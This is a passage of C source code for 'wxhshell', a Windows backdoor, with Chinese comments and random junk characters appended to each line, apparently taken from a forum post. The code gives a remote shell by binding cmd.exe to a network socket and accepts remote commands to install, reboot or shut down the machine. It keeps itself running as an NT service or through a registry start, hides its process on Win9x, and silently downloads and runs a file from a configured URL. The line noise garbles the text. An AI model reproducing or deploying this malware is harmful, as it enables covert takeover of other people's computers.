      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =K6aiP$Ft  
    break; [xF(t @p  
  } qRXb 9c  
  // 安装 ]-Z="YPY  
  case 'i': { |U*wMYC  
    if(Install()) X~DI d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &{): x  
    else qSRE)C=)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wHSas[4k  
    break; l-Hp^|3Wq  
    } ggr\nY  
  // 卸载 T)"B35  
  case 'r': { n+db#qAj5  
    if(Uninstall()) lKo07s6u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z\z mAus  
    else vJ__jO"Sq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rkF]Q_'`t;  
    break; _raj b1!  
    } `K.2&6xc  
  // 显示 wxhshell 所在路径 0B0Uay'd_  
  case 'p': { lx8@;9fLy  
    char svExeFile[MAX_PATH]; UenB4  
    strcpy(svExeFile,"\n\r"); O7p>"Bh  
      strcat(svExeFile,ExeFile); p`@7hf|hm  
        send(wsh,svExeFile,strlen(svExeFile),0); [b-wak})aD  
    break; >[]@Df,p  
    } l$ABOtM@  
  // 重启 ,J|8P{ZO  
  case 'b': { |Co ?uv i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {5tb.{  
    if(Boot(REBOOT)) 7!0~sf9A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }<y-`WB  
    else { xXpeo_y'  
    closesocket(wsh); {&_1/  
    ExitThread(0); d4Y8q1  
    } 3g!tk9InG  
    break; UADD 7d  
    } oe<9CK:?>  
  // 关机 "*E#4e[  
  case 'd': { Rf)lFi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iElE-g@Ws  
    if(Boot(SHUTDOWN)) #7!P3j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?lg  
    else { w)A@  
    closesocket(wsh); fiuF!<#;6  
    ExitThread(0); M_wqb'=  
    } {H FF|Dx  
    break; O?<R.W<QI  
    } oxN~(H)/ #  
  // 获取shell ['p%$4i$  
  case 's': { F dR!jt  
    CmdShell(wsh); p>w{.hC@  
    closesocket(wsh); M_-LI4>  
    ExitThread(0); vs3px1Xe#  
    break; Bnju_)U5)  
  } )Mw<e  
  // 退出 6%/@b`vZ  
  case 'x': { t2)S61Vr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R5iv]8X4W  
    CloseIt(wsh); o"5Bg%H  
    break; \`:X37n)0q  
    } 2&st/y(hs  
  // 离开 %#!pAUP\&  
  case 'q': { %d..L-`]ET  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  >'>onAIL  
    closesocket(wsh); 8cqH0{  
    WSACleanup(); Z^AOV:|m  
    exit(1); q.s2x0  
    break; ~f/nq/8  
        } cVHv>nd#  
  } A#:5b5R  
  } %y( oY  
m&EJ @,H  
  // 提示信息 ';g]!XsY)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vo@[  
} mK!73<p_  
  } jfxW9][   
RQzcsO  
  return; 6$"gm$3O]  
} o)_;cCr)q  
?LP&VU1  
// shell模块句柄 7_,)"J2^  
int CmdShell(SOCKET sock) wB(A['k  
{ uWs5 +  
STARTUPINFO si; >EQd;Af  
ZeroMemory(&si,sizeof(si)); }]0f -}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9mdp \A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h?f)Bt}ry  
PROCESS_INFORMATION ProcessInfo; vWbf5?  
char cmdline[]="cmd"; ^a=,,6T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $ b Q4[  
  return 0; ^rz8c+ly  
} EeW%5/;  
^j"*-)R  
// 自身启动模式 m2!y;)F0  
int StartFromService(void) dA;f`Bi;Q  
{ c< ke)@  
typedef struct B^W0Ik`m  
{ yqdh LX|Mk  
  DWORD ExitStatus; Jh3(5d"MV  
  DWORD PebBaseAddress; &|t*9 D  
  DWORD AffinityMask; 0~qnwe[g}  
  DWORD BasePriority; %<x2=#0  
  ULONG UniqueProcessId; /\=syl  
  ULONG InheritedFromUniqueProcessId; L;a> J  
}   PROCESS_BASIC_INFORMATION; -]1F ] d  
}@-4*5P3  
PROCNTQSIP NtQueryInformationProcess; /b*VFA/75  
6qsT/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JJL#Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h=uv4&  
OidF{I*O  
  HANDLE             hProcess; wyqXD.o f  
  PROCESS_BASIC_INFORMATION pbi; 3Lx]-0h  
S|U/m m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); - V Rby  
  if(NULL == hInst ) return 0; t/? x#X  
VGLE5lP X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (h NSzG\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _<?lP$Xr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V#!ftu#c?  
\ "193CW!  
  if (!NtQueryInformationProcess) return 0; Vj^<V|=  
AplXl=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vh8{*9+  
  if(!hProcess) return 0; Eeem y*U  
mz\d>0F U.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _KSYt32N  
N :E7rtT,M  
  CloseHandle(hProcess); h(aF>a\Z  
VH3 j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `@MY}/ o.  
if(hProcess==NULL) return 0; \M4/?<g  
psb$rbu7[  
HMODULE hMod; 8 Zy`Z  
char procName[255]; ^+CTv  
unsigned long cbNeeded; }]cKOv2  
`&2AN%Xz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )L?JH?$C  
T7E9l  
  CloseHandle(hProcess); '2+Rb7V  
ve.rp F\  
if(strstr(procName,"services")) return 1; // 以服务启动 [ F id  
o,a 3J:j]  
  return 0; // 注册表启动 Xrpzc~(  
} +R}(t{b#  
> <WR]`G  
// 主模块 g0@i[&A@{  
int StartWxhshell(LPSTR lpCmdLine) `$|!h-"  
{ %a-:f)@  
  SOCKET wsl; Jq1 Zb  
BOOL val=TRUE; !QoOL<(){  
  int port=0; k8E'wN  
  struct sockaddr_in door; =k]RzeI  
<5*cc8  
  if(wscfg.ws_autoins) Install(); eup#.#J  
]kC/b^~+m  
port=atoi(lpCmdLine); ^hOnLy2  
j'lfH6_')e  
if(port<=0) port=wscfg.ws_port; PfTjC"`,  
D0(QZrVa  
  WSADATA data; &f1dCL%z7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E7E>w#T5  
Jt6~L5[_s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W2Y%PD9a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XjpFJ#T*$A  
  door.sin_family = AF_INET; Q>s>@hw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1X\dH<B}  
  door.sin_port = htons(port); 6yZfV7I  
Cg NfqT0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B42.;4"T  
closesocket(wsl); !$ikH,Bh  
return 1; M|e Qds  
} A@^e 4\  
ZgCG'SU  
  if(listen(wsl,2) == INVALID_SOCKET) { 56(S[  
closesocket(wsl); Nq>74q]}n8  
return 1; <F!On5=W*  
} Y4,~s64e  
  Wxhshell(wsl); yRaB\'  
  WSACleanup(); 9j458Yd4*  
-~Kw~RX<(  
return 0; Tvr2K84l  
i,>yIPBU!  
} N( 0G!sTI  
"`Q~rjc$2  
// 以NT服务方式启动 H8j#rC#&pm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p(/PG+  
{ )F;`07  
DWORD   status = 0; <^+~? KDZM  
  DWORD   specificError = 0xfffffff; `(A>7;]:  
@O b$w1c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _SM5x,Zd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CqQ>"Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *9((X,v@/  
  serviceStatus.dwWin32ExitCode     = 0; Uu xbN-u  
  serviceStatus.dwServiceSpecificExitCode = 0; 4f/2gI1@B  
  serviceStatus.dwCheckPoint       = 0; s-]k7a 2V  
  serviceStatus.dwWaitHint       = 0; h?[3{Z^  
:JW!$?s8H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :lQl;Q -e  
  if (hServiceStatusHandle==0) return; ] fz0E:x  
i_?";5B"  
status = GetLastError(); t3!?F(&  
  if (status!=NO_ERROR) /7#KkMg  
{ z+5l: f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +9db1:  
    serviceStatus.dwCheckPoint       = 0; *x3";%o  
    serviceStatus.dwWaitHint       = 0; F/z$jj)  
    serviceStatus.dwWin32ExitCode     = status; Htn'(Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; .8[B }S(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |5|^[v   
    return; sU"D%G  
  } +-~hl  
p?S:J`q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p@`rBzGp  
  serviceStatus.dwCheckPoint       = 0; yNVuSj  
  serviceStatus.dwWaitHint       = 0; X^mv sY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =/wAk0c^y  
} ro{q':Z3  
JEq0{_7  
// 处理NT服务事件,比如:启动、停止 MkJ}dncg*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ek\f x*Lz  
{ .U|e#t  
switch(fdwControl) O8#}2  
{ .`4N#EjP  
case SERVICE_CONTROL_STOP: yGl (QLk  
  serviceStatus.dwWin32ExitCode = 0; c$aTl9e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :<Z*WoEmt  
  serviceStatus.dwCheckPoint   = 0; (3z: ;  
  serviceStatus.dwWaitHint     = 0; |0nbO2}  
  { q H&7Q{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NQS@i'W=g  
  } ='f<_FD  
  return; [OFg (R-  
case SERVICE_CONTROL_PAUSE: 41 sClC"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !Irmc*;QE  
  break; .m_yx{FZ=  
case SERVICE_CONTROL_CONTINUE: is&A_C7yg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %jEdgD%xV  
  break; F, {M!dL  
case SERVICE_CONTROL_INTERROGATE: _urv We  
  break; xzF@v>2S+  
}; )2T?Z)"hO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rQT@:$ )  
} s>`$]6wPa  
9u<4Q_I`  
// 标准应用程序主函数 !FOPFPn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w :2@@)pr  
{ dA-ik  
CU)'x E  
// 获取操作系统版本 \[&`PD  
OsIsNt=GetOsVer(); c]jK Y<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '9cShe  
tj 6 #lM9  
  // 从命令行安装 J1DX}h]  
  if(strpbrk(lpCmdLine,"iI")) Install(); F-Mf~+=Dn  
!J ")TP=  
  // 下载执行文件 ]0P-?O:  
if(wscfg.ws_downexe) { 01Bs7@"+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) un|+YqLf  
  WinExec(wscfg.ws_filenam,SW_HIDE); <;\T e4g[  
} v,w/g|  
+@D [%l|  
if(!OsIsNt) { X8l[B{|  
// 如果时win9x,隐藏进程并且设置为注册表启动 5]cmDk  
HideProc(); J$6tCFD  
StartWxhshell(lpCmdLine); b0PqP<{t  
} {U8Sl.  
else {>[,i`)  
  if(StartFromService()) nWpqAb  
  // 以服务方式启动 K~"uZa^s  
  StartServiceCtrlDispatcher(DispatchTable); y BF3Lms  
else 1<a+91*=e  
  // 普通方式启动 K~ gt=NH  
  StartWxhshell(lpCmdLine); xe}d&  
Arh0m. w  
return 0; hMz= \)Pl  
}
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只看该作者 1 发表于: 2006-10-10
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